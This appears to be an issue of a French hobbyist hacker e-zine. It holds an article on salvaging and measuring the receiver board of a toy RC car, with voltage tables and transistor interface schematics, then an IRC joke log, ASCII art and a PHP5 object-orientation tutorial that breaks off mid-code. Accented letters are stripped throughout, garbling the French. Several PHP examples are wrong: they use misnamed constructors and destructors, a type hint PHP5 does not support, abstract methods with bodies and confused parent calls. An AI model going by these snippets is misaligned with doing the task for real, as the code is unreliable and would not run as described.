dun signal lectromagntique,  vous nallez pas  faire 30 voyage  pour diverses
pices quil vous  faudrait, ni les  assemblez sur un  board lectronique   une
seule face(:P ), en fait tout ce  que vous avez  faire cest de  vous dplacez
dans un  hardware shop  pas loin de chez  vous, d'achetez un char  tlguid qui
trane dans une  boite jaune depuis  2 mois   attendre un client  potentiel, en
achetant se package de ressources pr-assembls (et cest comme ca quil faut le
voir), vous rendez service  lconomie, et  votre conomie car les pices dans
cette  voiture  seront  r-utilisable    un  prix  moindre  que  sparer,  vous
encourager la compagnie qui le produit, celle-ci  payer ses ingnieurs, qui  en
retour  feront  encore dautre  crations  tout aussi  varies  que vos  besoins
futurs:) !  En  somme sans avoir  une grande exprience  dans le domaine,  vous
pouvez tout de mme faire votre  flasheux en montrant que VOUS avez  PATENTER le
circuit  qui  contrle prsentement  votre  cossin, ce  qui  est vrai!  Le  tout
ncessite tout de mme un effort de rflexion, souvent il faut savoir ouvrir  le
contenant pour avoir accs au contenue le tout SANS endommager quoi que se sois,
rappelez vous que souvent quand sa souvre pas ya une vis qui est cache par un
collant  de type  Pile AA  uniquement, vitez  de  mettre  dans la  bouche des
bb頻 si il  existe tout de  mme une vis  invisible, la seconde mthode est la
destruction, mais la destruction slective! Le circuit lectronique est  souvent
au centre dun objet,  souvent prs du socket  des batteries (hint facile  ici).
Viens  maintenant  le  temps  de  se servir,  et  ici  je  tien   prciser  que
lessentiel est aussi de reverse engeneerer ce que vous avez sous les mains,  en
somme dpluguer pas toute comme des pilleurs de tombes au contraire faite  comme
une scne de crime, analyser ce que  vous avez sous les yeux. Par exemple,  vous
avez deux  fils qui  partent du  board lectronique  et qui  vont   un moteur 
lavant. Il serait sage de noter quel commande avec la tlcommande actionne ces
roues, de bien noter  les fils qui y  sont associs (car bien  vidament vous en
aurez besoin  plus tard  dans la  conception de  VOTRE projet,  et rendu la vaut
mieux savoir dj quoi fait quoi souvent il suffit de dvisser de board puis de
slectivement  dcouvrir    quoi  chaque  fils  sert  avant  de  les  couper et
dventuellement librer compltement le circuit. Une fois fait vous avez  VOTRE
circuit de contrle:) le tout est  probablement ISO-9002 et ne vous   pris que
20 min   extraire et identifier..  un gain majeur  de temps pass,  prsent et
futur !

Il ne vous reste  plus que quoi, la  tlcommande jaune fluo dun  got douteux?
Soit!,  la  aussi  la  technique  du singe  prouve  encore  son  utilit,  si la
tlcommande ne  vous satisfait  pas, d-boiter  la, prenez  note des diffrents
contact et  circuits et  rimplanter la  dans un  autre botier  (que vous aurez
fait!?). 

Voici une mise en situation des plus banale, vous voulez vous monter une  arcade
dans votre sous sol, tant un puriste, vous ne voulez que des jeux old-school  
la doom, need  for speed etc  pour se faire  facile, se trouver  des vieux ordi
crappy, installer le jeux pis sorganiser pour le faire booter automatiquement..
simple  je sais..  mais pour  le contrleur  ? quoi  prendre certain  vritable
puriste (et un peu naif) vont  se gosser un circuit avec un  microcontrleur, le
tout impliquant  un systme  de reconnaissance  de donn  par lordinateur  pour
avoir les contrles de leurs choix, dautres, des singes, vont simplement  aller
sacheter un gamepad , et  un kit de bouton de  LEURS choix, y vont dboter  le
gamepad, de la y vont se ressouder des fils qui vont mener aux nouveaux boutons,
et lutilisateur qui ne vois dj rien dlectronique ne se rendra pas compte de
la modification.:)

Jai dj tweaker une sourie  oui une TRUE MOUSE ! pour jouer  Need for  speed
avec un  volant home  made, le  truc tait  plutt simple,  dboter la  sourie,
dessouder la microswitch qui servait dacclrateur pour ensuite la rallonger  
laide dun  fils le  tout afin  davoir une  pdale dacclrateur.  De la mme
faon, on aurait  qua dessouder les  capteurs optiques et  les micro fente  qui
leurs sont associer, les remodeler dans le frame que lon dsire et ainsi  avoir
un volant le tout de facon relativement simple et efficace. 

En somme ce qui fais chier un  projet est souvent la complexit des modules  qui
le comportent, si on peu allger de peu ou de beaucoup cette complexit qui fait
peur, on arrive : 1-Terminer notre projet, 2-Etre plus enthousiate  le faire,
3-On apprend Et on apprend quoi ? tout simplement llectronique, la mcanique,
les matriaux.. en fait les gugus  dont vous allez vous servir on  presque tous
t cre par une team dingnieur, dexpert ISO-9002, FCC complient etc souvent
voir comment  sont conus  ou construit  les objets  par lintrieur vous laisse
bouche be Tellement la mcanique est simple, ou tellement elle est  complexe..
en fait  vous pouvez  enfin dire  de faon  objective que  cest crissement  bin
faire, ou  que cest  de la  crisse de  marde mais  ici on  est rendu au niveau
suprieursoit lapprciation du gnie et/ou de la dbrouillardise humaine..

Oui mais moi  jveux pas juste  un transmetteur, jveux  avec ca .  Ya rien qui
vous empche  de mixer  ensemble deux  ou plusieurs  autres modules que vous
aurez extirper de produit sur les tablettes.. par contre il est vidant que pour
bien mettre en symbiose  ces diffrents lments il  vous faudra un peu  plus de
connaissance en lectronique,  moins quencore une fois ce module intermdiaire
ne puisse se trouver dans un marcher au puce prs de chez vous.. Ne ngliger pas
le  pouvoir  dun  marcher  au  puce,  si  souvent  lesthtique  est  dgeulace
lintrieur est encore beau et fonctionnel (une belle leon de philosophie ici)
et en plus cest pas cher:) 

Lexemple du mois  est plutt simple  quoi quil sagissent  plus en fait  dune
introduction   lanalyse des  circuits intgre.  Jai pris  lexemple des  Zip
Zap.. ces petits chars tlguids quon trouve chez radio shack pour la  modique
somme de 30$.. en fait jaurais srement pu me dgoter une merde tlguide  chez
Dan du marcher au puce pas loin, mais pour des besoins physiques exceptionnelle,
jai plutt opter pour le  model tiny car le recepteur des Zip Zap tien dans le
minuscule board  de la  voiture.. et  jai t  surpris de  voir comment le tout
marchait.. avec une batterie rechargeable, un voltage ridicule, un micro moteurs
etc..  En fait ici je vais utiliser encore ces magnifiques petites pictures pour
vous montrer comment aller chercher les infos dont vous avez besoins..  

1er Etape -Trouver  le matriel.. ici  ctait facile.. je  vais au magasin,  je
paye pis cest fait.. dans dautres cas (Et truster moi sur ca) quand sa fait un
bout de temps que  topre  cur ouvert  des circuits du genre  on se dveloppe
son propre junkyard ou on peu piger dedans.. comme ici dans le cas de ce  projet
jutiliserai srement pas le mini moteur  du char tlguider.. je ne risque  pas
non plus de toucher au systme  de direction de la voiture, ce  nest simplement
pas ca qui mintresse.. (pour le moment) et ici est toute la nuance, plus  tard
qui sais.. jaurais sous la main un moteur dune grosseur ridicule pour un autre
projet..  enfin !.. 

2e Etape   Accder   la  partie lectronique  intelligente ou  de contrle  du
circuit..  ca  semble  simple  (est   ca  lest  pour  qqun  dun   moindrement
exprimenter, mais on hsite  souvent entre crisser un  coups de marteau sur  le
case qui  rouve pas  ou de  louvrir   coups de  chainsaw) ya  souvent des vis
caches sous un sticker, ou des clips  en plastique qui se clip super sr..  en
fait ici il vous  faudra reverse-engeneerer mcaniquement ce  que la cie a  fait
pour pas  que vous  alliez fouiller  la inutilement..  Une fois  le case ouvert,
souvent  ya  des fils  pas  rapport qui  pendent  tout partout  ici  il serait
judicieux de noter un moindrement ou ils vont et de guesser un peu ce qui  sont
supposer faire  dans le  cas prsent,  les fils  qui vont  au moteur  sont fort
probablement ceux qui  vont lalimenter en  courant.. de mme  que les fils  qui
vont au systme de  bobines magntique pour la  direction ..  on note  aussi une
petite batteries dans le fond du bolide avec sur le dessus cette bonne vielle et
plus quvidente mother board. La partie intelligente du circuit se trouve  sous
la goutte de plastique  ronde.. donc pas trop  accessible dans le cas  prsent..
par contre on sait (pour avoir fait  le test en samusant avec le Zip  Zap avant
de  toute le  d-calisser pour  la science),  que, quand  on lactive,  on a  un
contrle Avance,  Recule, tourne   droite,  tourne   gauche bon  sa nous fais
quoi.. 4 possibilits  ? NON !  car on peut  avancer en tournant  ou reculer en
tournant..   donc on  a facile  8 possibilits  de combinaisons.  Mais ce  quon
dsire dune tel board cest quil contrle  distance une interface quon  aura
dfinie par la suite..  donc on veut sapproprier  les signaux de contrle  (ici
avance,  recule, tourne  x2) pour  les implanter  dans un  autre circuit  affin
dactiver autre chose quun moteur ou une bobine.. ou  tout le moins un  moteur
plus gros. Pour sapproprier ces  signaux il faut savoir ou  aller sinterfacer,
la rponse est  simple, suivez les  fils.. ils sont  souvent relis au  board de
faon vidente, et cest ici quon va devoir dessouder pour mieux ressouder  par
la suite notre device dans son nouveau milieu de travail.

3e Etape   Analyser  les signaux,  avant mme  de tout  pluguer ensemble  en se
disant (sa va marcher)  il est judicieux de  savoir quelle latitude les  signaux
nous permettes davoir. En somme, vous ne pourrez pas driver un moteur 12v  avec
dequoi qui drive   1.5v. Pour  se faire il  vous faudra un  multimtre affin de
vrifier step-by-step les signaux du board.. une fois activer, premire chose  
faire, trouver le ground.. o la rfrence.. souvent un fils noir qui est  reli
 la batterie. Ce  fils la sera votre  point de rfrence pour  mesurer tout les
autres voltages, essayer dj de voir le voltage au borne de la batteries (cest
souvent un truc intressant  savoir,  autant au niveau du circuit que  de celui
de  lintgrit  de  vos  mesures).  Ensuite  il  vous  faudra  mesurer avec  un
multimtre en mode voltage, les voltages de chacun des contacts ou les fils vont
se souder sur le mini-board.

Pic1.jpg [ Connecteurs  vue  de  dessous,  de  bas  en  haut:  GND  (fil  noir)
           Bobine #1 (fils cuivrer) VCC  fil rouge (on voit aussi  que deux fils
           cuivrs des bobines y  sont inclus, donc  au VCC)  Bobine #2    (fils
           cuivrer) Moteur (fil  bleu) Moteur (fil blanc) Antenne (fil jaune)  ]


Comme ici, on mesure le voltage  la pile (1.5v), on sait donc que ce circuit ne
peut avoir plus de 1.5v ailleurs, si vous voyez 5v poser vous des questions.  Ou
checker  ailleurs  do  provient  cet  extra  potentiel.  Ensuite  activer  des
commandes  et  vrifier le  rsultat,  comme par  exemple,  quand on  active  la
commande pour faire avancer  le vhicule, on notre  que le contact au  fils bleu
passe dun tat de 1.5v  0v, on peut donc en dduire que ce signal donne un  0v
lorsque active. Il en va de mme pour les autres contacts.

Une fois la grille des voltage  tablie, il faudra remplir celle de  lamprage,
pour se  faire vous  devrez dessouder  un des  fils du  contact et  placer votre
multimtre au centre (en mode ampremtre) de faon a ce que le multimtre  joue
finalement le rle du  fils conducteur, mais ou  vous pourrez voir la  mesure du
courant qui le traverse.

Pic2.jpg

Lamprage vous  donnera un  indice des  limites de  courrant que  le board peut
supporter sur ce branchement, en somme si lorsque vous activer une commande vous
drainer 90 milliampres, vous ne pourrez pas espre brancher une device qui  en
drainera plus..  (du moins  de faon  optimal).. par  contre on  peut facilement
activer des transistors avec un tel amprage, donc pour la partie interfaage de
cet article, on risque de remdier  la limite  des 90 milliampres par  contre
cest  propre   vos besoins..  avec 90  milliampres on  peut facilement  faire
allumer 4-5 leds par connections.

Lors de la prises de vos  mesures, il serait judicieux, voir essentiel  de noter
les voltages et amprages que vous obtiendrer. Ex: une grille du type: 


Component   |      Voltage       |     Amprage    |  Info                       |
------------+--------------------+-----------------+-----------------------------|
Pile        |     1.5v	         |      100 mA/h   |Ni-Mh rechargeable           |
Contact #1  |     GND    : 0v   |      240 mA     |Alimentation GND             |
Contact #2  |     Bobine DR -    |                 |Bobine Droite                |
            |     Idle   : 1.5v |        0 mA     |Non active                   |
            |     Active  : 0v   |       80 mA     |Active 0v a cette borne      |
Contact #3  |     VCC    : 1.5v |      240 mA     |Alimentation VCC             |
Contact #4  |     Boines+: 1.5v |                 |Alimentation des bobines(VCC)|
Contact #5  |     Bobine GA -    |                 |Bobine Gauche                |
            |     Idle   : 1.5v |        0 mA     |Non active                   |
            |     Active : 0v   |       80 mA     |Active 0v a cette borne      |
Contact #6  |     Moteur AV      |                 |Moteur actif en commande Av  |
            |     Idle   : 1.5v |        0 mA     |Non actif                    |
            |     Active : 0v   |       90 mA     |Actif 0v a cette borne       |
Contact #7  |     Moteur AR      |                 |Moteur actif en commande Ar  |
            |     Idle   : 1.5v |        0 mA     |Non actif                    |
            |     Active : 0v   |       90 mA     |Actif 0v a cette borne       |
		
		
Ici on voit bien que le maximum damprage que la source (la pile) peut fournir
est 240  mA Et  cette condition  nest active  que lorsque  le moteur est actif
(dun sens ou lautre) et ou  il force (les roues restent immobiles)..  Dans le
cas typique dutilisation il est de  100 mA. Avec ce tableau plutt  technique,
on vois  quelques subtilits  apparatre, en  fait tout  les signaux  sont  0v
lorsquils sont  actif, en  somme le  circuit (  laide des petits transistors
prs des bornes, active un drain qui relie le fils connecter au GND  permettant
ainsi au  courant de  circuler en  activant les  bobines ou  le moteur. On voit
aussi que les deux bobines sont  carrment relies au VCC, donc on  peut parler
ici dune donne plutt triviale, comme leurs valeurs ne changent pas lors  des
tests faits en activant  le contrleur. Le fils  qui va nullpart est  evidament
lantenne, on  doit la  garder si  on veut  que le  tout fonctionne encore, par
contre on peut p-e la modifier plus tard pour augmenter son rayon daction.

Une  fois fait,  cette liste  la sera  votre fiche  technique de  ce module  de
tlguidage  (car  cest  ce  que  cest)  vous  pourrez  alors  savoir  comment
interfacer (dans les paramtres physique requis) ce module  vos projets.. et ce
mme  plusieurs mois  ou annes  plus tard.  Cette  fiche  technique peut  aussi
comprendre  plusieurs  dtails louche  ou   pas  que  vous  avec  dcouvert   en
exprimentant avec  le circuit  en somme  cest avec  cette fiche  la quun gars
moindrement skiller en lectronique va pouvoir dire sa se fait right now  ou
jsais pas trop faudrait je commence par checker le voltage etc...  Et cest
si plaisant  partager ;)

Tout  ce  gatering  dinformation  sera  appliqu  dans  cette  phase  ultime o
jextirperai le  cur de  cette mindless  machine pour  le rintroduire  dans ma
cration diabolique (..mouhaa mouhaa!!)  (Flicitation vous avez trouver  votre
ide..)  Mais  avant  dactiver   cette  miniature  crature,  il   nous  faudra
linterfacer   notre projet  et ceci  implique de  couper/dessouder le board du
circuit  de son  botier original  et de  lintgrer avec  de nouveaux  fils et
contact a notre circuit de test (enfin celui du projet dmoniaque en  question).
Premirement interfacont la batterie, le board doit tre aliment par un voltage
de  1.5v  (soit  une pile  AA,  AAA,  ou dautres  piles  de  montres de  taille
ridicules) (reliez les  grounds, du  board et  du  circuit.. et  de pas mal tout
finalement.

Une fois lalimentation apporte, on se concentre sur les lignes de contrle  du
module, ici jai pris  une nomenclature de type  5v (circuit logique) car  ces 5
petits volts sont plutt bien documenter over the web si vous dsirez  actionner
tout autre  circuit de  puissance ..  raisonnable.. Donc,  pour les  signaux des
bobines de contrle jai place une rsistance enpull up (de faon   offrir
un 5v   la  sortie du  transistor quand  celui-ci nest  pas actif. La ligne de
contrle peut ainsi tre acheminer  un autre transistor ou  un microcontrleur
quelconque

Pour  ce qui  est des  lignes qui  vont au  moteur, il  y a  une particularit
intressante, ce qui active le sens du moteur (la direction du champ  lectrique
qui le drive) est dirig par un circuit de type H-Bridge, par exemple: 

     
                       +VCC
                         |
                 1  +----+---+  3
                  |/e        e\|
  Avance ---+----b|PNP      PNP|b-----+--- Recule
            |     |\c        c/|      |
            |       |        |        | 
            |       |--- M --|        | 
            |       |        |        |
            |     |/c        c\|      |
            |  +-b|NPN      NPN|b--+  |     
            |  |  |\e        e/|   |  |     
            |  | 3  +----+---+  4  |  |
            |  |         |         |  |
            |  |        --- Gnd    |  |
            |  |         -         |  |
            |  +--------------o<|-----+
            |                      |
            +-|>o------------------+



Le courant ainsi appliquer  au transistor 1 et  4 lors de la  commande (Avance),
fait tourner le moteur dans un sens,  et quand on active les transistors 2  et 3
(Recule),  il tourne  dans lautre.  Il existe  plusieurs version  de H-Bridges
rpondant dautres  besoin fiabilit,  prcision, courant  lev, etc.. more
info at your local I-net search engine. Avec mon circuit de test, jai  remarqu
que le signal drainait un courant mme quand le circuit nest pas activ..  jai
donc relier (encore avec une rsistance en pull up ) le signal a un 7406 (un
inverseur logique au prix drisoire, aussi offert en surface mount for your  own
pleasure,  Digi-key #296-1435-5-ND.  Le signal  ainsi obtenu  est invers  une
premire fois,  puis une  deuxime fois  (affin dobtenir  une source de courant
fiable qui ne fuie pas, tout  en conservant notre standard numrique 0v  =
actif, 5v = idle 


+Vcc = 5v
Transistor=2N3906
Resistance = All 1K
                                                           
                        +VCC                                        
                          |                               
                       +--+                                   
                       |/e                                     
                   +--b|PNP        
                   |   |\c                                 
                   |     +----------------------------+-----O 0-5v Signial #1
             +VCC  |                +VCC          R  | |       200 mA 
Input du       |   | +VCC             |           1K | |           
board          |   |   | R         +--+               |               
remote     R  | |  |   | 1K      |/e             Gnd ---                        
  |        1K | |  |  | |    +--b|PNP                 - 
 \|/           |   |  | |    |   |\c                                       
  `            |   |   |     |     +------------------+-----O 0-5v Signial #2
BOb.1 ---------+---+   |     |                        |        200 mA
Bob.2 -----------------+-----+                     R | |                                                                                1K | |                                                                                    |
              +VCC                               Gnd ---         
                |                                     -
            R  | |                                      
            1K | |                +VCC                      
                |         _____     |                 
Moteur.1 -------+-------_/|   |\_---+              
                      +-_/| 7 |\_      +VCC                           
                      +-_/| 4 |\_        |     +VCC                        
                 +------_/| 0 |\_     R | |      |                  
          +VCC +--------_/| 6 |\_     1K| |   +--+                  
            |  | | +----_/|___|\_--+     |  |/e                    
         R | | | | |  +-_/     \_--|-----+-b|PNP                             
        1K | | | | |  |            |        |\c                  
            |  | | | ---           |   +VCC   +-------+-----O 0-5v Signial #3         
Moteur.2 ---+--+ | |  -            |     |     +VCC  | | R     200 mA         
                 | | Gnd           |  R | |      |   | | 1K           
                 | |               |  1K| |   +--+    |             
                 | +---------------+     |  |/e      --- Gnd 
                 +-----------------------+-b|PNP      - 
                                            |\c
                                              +-------+-----O 0-5v Signial #4
                                                      |        200 mA
                                                     | | R
                                                     | | 1K
                                                      |
                                                     --- Gnd
                                                      -          


Le signal de  sortie est donc  propre, car il  nous est fournie  par le 7406, de
plus ces  entre libres  peuvent vous  tres utiles  pour des  tweak de dernire
minutes.. 

A titre  dexemple sur  ce montage  jactive des  transistors (3906)  Digi-key #
2N3906D26ZCT-ND  avec le signal qui provient du mini-board, en plus doffrir  un
courant  de 200  mA aux  signaux, ces  3906 jouent   la  fois un  certain rle
disolation dans  le circuit,  le courant  que vous  utiliserez viendra  donc de
lalimentation (Via  le transistor),  et non  de votre  petit bord tlguid. On
note aussi un autre set de rsistance en pull down cette fois  la sortie du
transistor, encore  une fois  dans le  but de  stabiliser a  0-5v le  voltage de
sortie de votre montage (essentiel pour les applications logique qui pourrait en
dcouler)..


Pic3.jpg [Image du board interfacer  mon board de test, noter l'utilisation
          du fil wireweap (petit fil) que j'ai twister  une slide de jumper.
          On voit aussi le 7406 brancher avec les rsistance en pull-up.     ]


Pic4.jpg [On voit les signaux de sortie qui sont brancher au transistor 3906
          avec une resistance pull-up et pull-down, celles qui semblent sortir
          du circuit sont relis  des leds (pour les besoins du test).. c'est
          d'ailleur ici que vous prendrez vos signaux.. ( la sortie du
          transistor...)                                                      ]


On peut ainsi contrler avec la  tlcommande 8 tats  la fois  (Avance Droite,
Avance Gauche, Recule Droite, Recule Gauche, Avance, Recule, Gauche, Droite), sa
semble peu, mais relier  un microcontrleur qui pourrait dcoder les  diffrant
tats suivant des squences, on pourrait ainsi atteindre plus de possibilits de
commandes. Mais sa sera pour une autre aventure... 


                                                         Capitan Qwzykx..  
 

.----------------------------------------------- - - --- - ---
| Qwzykx   [Qwzykx at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



  < When IRC dreams come true... >

  [17:11] <koiz> la rumeur veut que Wyzeman ait embaucher 100 singe qui tappe
                 des key aleatoirement 24hrs sur 24 pour le zine, l'output des
                 primate et filtrer par last ensuite... Wyzeman tu confirm ?
  [17:11] <mtadbf> oui oui
  [17:11] <mtadbf> 100 singe sautant pendant X annee sur des machine a ecirre pourrait ecrire la bible
  [17:12] <mtadbf> donc comme ca il va pouvoir ecrire le zine le + leet jamais sorti
  [17:12] <mtadbf> c juste une question de temps :)
  [17:13] <Wyzeman> oui oui jconfirme
  [17:13] <mtadbf> pas pire comme tactique
  [17:13] <mtadbf> hehe
  [17:14] <LastCall_> hahahahha
  [17:14] <LastCall_> avec des ailes
  [17:14] <LastCall_> comme a, si ya du monde qui nous coeure
  [17:14] <LastCall_> on leur send les singes a lattaque!!!
  [17:16] <MindAway> lmao
  [17:16] <MindAway> sont hot nos singes
  [17:16] <MindAway> surtout cleui qui est alcoolique
  [17:16] <MindAway> mojo
  [17:17] <mtadbf> l'alcoolo est surmeent le + productif
  [17:17] <koiz> sa prendrait un singe en ascii pour le zine
  [17:17] <MindAway> ouais
  [17:17] <LastCall_> hahah
  [17:17] <koiz> "Fear our mojo" 
  [17:17] <LastCall_> mojo le singe alcoolique
  [17:17] <koiz> mouahaha
  [17:17] <koiz> yeah quelle train ce singe
  [17:17] * Wyzeman changes topic to 'URGENT i faut un signe alcoolique en ascii pour le ezine'

  ainsi soit-t-il...


                                .-------------------.
                              .'                     '.
                            .'           .             '.
                           .'            :               |
                           |             ;               >
                           |                             |
                           |      ------   .-------     .'--.
                         .-'.   .'  _   ' /    _   '.   | __ '
                        | -- './  <-^->  v   <-^->  |  /   ' |
                        '_____ |____          _____'  /_____/
                              \ ;    >  o8o  <       /
                               \    /         \     /      .-------.
                                \  (    __.     )  >      /  .....  \
                                 \_\  /___/>    /_'      (  <     \  \
                                   <__/  //____/   --.    \  \     '-'
                                 _/  /  //       \    `.   \  ;
                                < \-'   '.        \     \   \  \
                                _| \_____/_        \     |  /  /
                         ..---' /     _____)        ;    | /  /
                        (      /    _______)        |    |/  /
                         ;.---/________ \/          :    >  /
                          .--<_______ /\_)          |    | /    .-----.
                         /   (       './           ,'    |/ .--'      .'
                         ;    '-------'             |    |-'           /
                         |    /                    /   /             /
                         (    (    . o )          .-\__/      .'   .'
                 __      )   / \               __/     \_  .-' |   (    __
                '   '---\/\/\/  \            (__          )    |\/\/---'  '   
                \_____________)  \______________(__|__|__/    (___________/   
                
                



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.08  PHP 5
:                        aka 'OO in a webserver near you'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |



        <? Introducing Zend's                _______________
           _________    ____    _____  _____/___           /\ 
          /         \  /   /\  /    /\/         \         / /
         /          /\/   /_/_/    / /          /\_______/ /
        /    O     / /            / /       O  / /_______\/
       /    .____ / /   ____     / /    ._____/ /        \
      /    /\_____\/   /\  /    / /    /\_____\/____.    |\
     /____/ /     /___/ //____/ /____/ //              / /
     \____\/      \___\/  \____\/\____\//______________/ / 
     Available for free at www.php.net !\______________\/ ?>
                                    


! Disclaimer : BOF !
        
        1: Si vous aimez ASP vous pouvez faire pagedown 7x des maintenant..
           ou vous suicider :)
        2: Si vous ne connaissez rien  PHP, envisagez les options prcdentes.
        3: Tout comme les libraux, je ne suis responsable de rien... bon..
           mme pas des fautes c clair ? :p
        4: Cet article est  sont meilleur dans notepad version 5.1
           (Build 2600xpsp2.030422-1633: Service pack 1)
        
! Disclaimer : EOF !


 Intro
 -----
 
PhP est  mon avis un des plus bel exemple de russite dans le monde de  l'open
source. Et avec  l'arrive de la  version 5, ca  ne fait que  s'amliorer. J'ai
attendu avec impatience cette version depuis qu'ils ont commencer  l'annoncer.
Mais  j'ai craqu  avant :|  j'ai download  et install  le beta  1, mais  ne
trouvant pas vraiment  de documentation sur  le net et  manquant cruellement de
temps, j'ai  laiss tomber  assez rapidement..  Mais alors  que le RC2 (Release
Candidate #2) venait  de sortir, j'ai  eu la surprise  de ma vie  quand j'ai vu
dans la librairie un  livre de 918 page  portant sur PHP5 ..  3ieme dition ...
c'est dans ses moment,   qu'on se sent retard  :-/ L'auteur est Leon  Atkinson
des ditions CampusPress Rfrence. Je  dois admettre que j'ai sauter  quelques
chapitres  qui me  touche moins.  En gnral  le livre  est bien   expliqu et
complet. Dans  cet article,  je prends  pour acquis  que vous  avez une base en
PHP4.  Dans le  cas contraire,  si vous  savez programmer,  vous devriez  vous
dbrouiller assez bien quand mme.  Sinon envisagez de nouveaux la  solution de
l'option #1 du disclaimer. Trve de plaisanteries Dans le but de sauver un  peu
de temps, je  vais viter de  parler des trucs  dj prsents dans  PHP4, je me
concentrerai plutt sur les nouvelles features :) De plus, je suis nouveau dans
le  monde de  l'Object Oriented,  alors c'est  possible qu'il  y  ait  quelques
erreurs. L'interface  OO de  PHP4 tait  peu attrayante,  mais m'a  permis d'en
comprendre les bases. J'ai toutefois pas trop pousser, car je savais que  celle
de PHP5 serait diffrente et meilleure en beaucoup de points. Je crois que j'ai
eu un timing parfait de ce cot :)

Core
----

Bon, je vais  faire mon possible  pour dcrire la  nouvelle interface objet  de
php5, mais se sont  peu  prs tous des principes nouveaux. J'espre  seulement
ne pas tre dans l'erreur. L'auteur d'crit l'interface comme tant   hritage
simple avec  possibilit de  limiter l'acces  aux membres  et de surcharger des
classes.  Pour  moi  ca  veut  pas  dire  grand'chose  :O  Mais  bon,  un coups
dcortiqu, c'est un peu moin pire.

Parmis  les  changements  importants  apports   l'interface  OO,  il  y a  la
possibilit d'accder les  membres d'une classe  sans l'instancier de  la faon
suivante;

<?

maClasse::maFunction("monArg");

?>

Ils ont  aussi introduit  des namespaces  pour remplacer  (mme s'il est encore
support) le  contrevers $this->  .. Maintenant,  on peut  y arriver  de cette
faon;

<?

# pour accder  une fonction de la classe actuelle
self::maFunction("monArg");

# pour accder  une fonction d'une classe parente
parent::maFunction();

?>

L'une des plus grandes amliorations apportes au modle objet de php est qu'il
ne passe plus les objet par copie, mais par rfrence (avant on devait utiliser
un & pour  le faire..). Ce  qui entraine une  grande diminution des  ressources
requises  pour  manipuler  les  gros  objets.  De  plus,  il  est  possible  de
restreindre la porte des membres d'une classe. Pour ce faire, php nous fournit
des types d'accs.  
       - Public     : Accessible sans contraintes par des lments extrieurs
                      de la classe
       - Private    : Les membres privs sont accessibles en lecture/criture
                      seulement par les membres d'une meme classes
       - Protected  : Ne peut tre manipul que par les membres drivs de la
                      classes (a mi-chemin entre public et private..)

Ce mcanisme aide  encapsuler  et scuriser l'accs aux membres  d'une classe.
Comme on peut le voir dans l'exemple suivant:

<?
class maCLass extends maSubClass {
        public $version;

        protected function touchTest() {
                return $this->test();
        }
        

        private function test() {
                return "hello :>";
        }

}
class maSubClass {
        __constructor() {
                echo parent::Test(); # ne fonctionnera pas
                echo parent::touchTest(); # va fonctionner..
        }
}
?>


Il  est  aussi  possible  de dclarer  les  membres  d'une  classe comme  tant
"static", ce qui a  pour effet que d'une  instance  l'autre la  function ou la
variable dclare statique  ne change pas.  Un peu comme  une variable globale,
mais  l'intrieur d'une classe  ou d'une fonction. C'est applicable  aussi aux
variables..  une  variable  static  ..  paradoxale  :)  Ca  devient  une pseudo
constante ? :pp

<?

# En principe, cette classe devrait incrmenter $count  chaque instance, car
# count est dclar static. Il retournera le nombre incrment  la place de
# se rinitialiser  chaque fois. 
class maClass {
        static $count = 0;
        static function count() {
                return self::$count;
        }
        __constructor() {
                $this->count = $this->count++;
        }
        __destructor() {
                echo $this->count();
        }
}

# Il peut tre employ seul ou coupl avec un type d'accs.
# (l'ordre a de l'importance!)

static public maFunction() {
 ...
}
?>

PHP a introduit aussi un mcanisme appel type hint qui permet de spcifier  le
type d'argument pass  une fonction. Vous pouvez spcifier des "integer",  des
"array", des "objects".. Par exemple on peux exigner qu'un objet soit un driv
d'un autre objet pour  tre accept par la  fonction, ou encore on  peut exiger
qu'il soit un entier ou un tableau.

<?
class maClasse {
        public $test ="morve";
}

class monTest {
        public function test(maClasse $blah) {
                echo $test;
        }
        public function addFive(int $num) {
                return ($num + 5);
        }
}
?>

Si la variable $blah n'est pas  drive de la classe maClasse, php  dclenchera
une  erreur fatale.  La mme  chose se  produira si  $num n'est  pas un  nombre
entier.  Vraiment  pratique  :)  Surtout  que  j'tais  du  genre     vrifier
exhaustivement mes types d'entres avec des fonctions comme is_numeric. avec p.

Avant, on pouvait crer une classe  avec une fonction qui portait le  mme nom.
Ceci avait pour effet que cette  fonction tait appele  chaque instance  cre
de l'objet. Avec php5, cette norme est encore supporte, mais ils ont introduit
un systme de constructeur / destructeur. Il suffit d'ajouter une fonction avec
le nom __construct()  pour que cette  fonction soit appele   chaque fois  que
l'objet est instanci. Vous pouvez  faire l'inverse (chaque fois que  la classe
finit sa routine) avec __destruct() pour dtruire un objet explicitement.  Vous
devez affecter une nouvelle valeur (NULL ou unset:p)  toutes les variables qui
pointent  vers le  dit objet.  Vous pouvez  utiliser ces  fonctions comme  des
fonctions normales,  la seul diffrence qu'elles ne sont pas hrites par  les
classes "children",  vous pouvez  quand mme  y accder   partir  d'une classe
parente comme ceci: parent::__construc();

Une autre function appele __autoload($class). Elle permet de faire un  include
dynamique d'une class qu'on a tent d'instanci, mais qui n'est pas dfinie. Si
la function __autoload($class) est prsente dans votre classe, php va la nommer
d'aprs le nom  de la classe  non dfinie qui   t appele,  il ne reste qu'
l'inclure..

<?
function __autoload($class) {
        include_once($class .".class.php");
}

# Admettons que j'appele une classe qui existe pas
$obj = new bleh;
echo $obj->test();

# php tentera de trouver le fichier bleh.class.php, dans le rpertoire local.
?>

Php introduit un nouveau systme  de classe abstraite.. mot assez  bien choisi.
C'est pas vident  de comprendre l'utilit..  Pour simplifier encore  un peu la
chose, l'auteur semble dire qu'il y a deux synthaxe pour le faire. Je donne  un
exemple avant d'essayer de l'expliquer.

<?
# Le mot "abstract" doit tre ajout devant "class"
abstract class convertir {

        # la function aussi doit tre dclar abstract, dans le livre l'auteur
        # dclare sa function comme ceci; abstract function getOutput();
        # mais j'ai lus sur le net que ceci serait aussi possible, je l'espre :p
                
                abstract function getOutput() {
                        echo  "La function getOutput doit etre dclar dans votre objet";
                }

}

class html extends convertir {
        public function getOutput($i) {
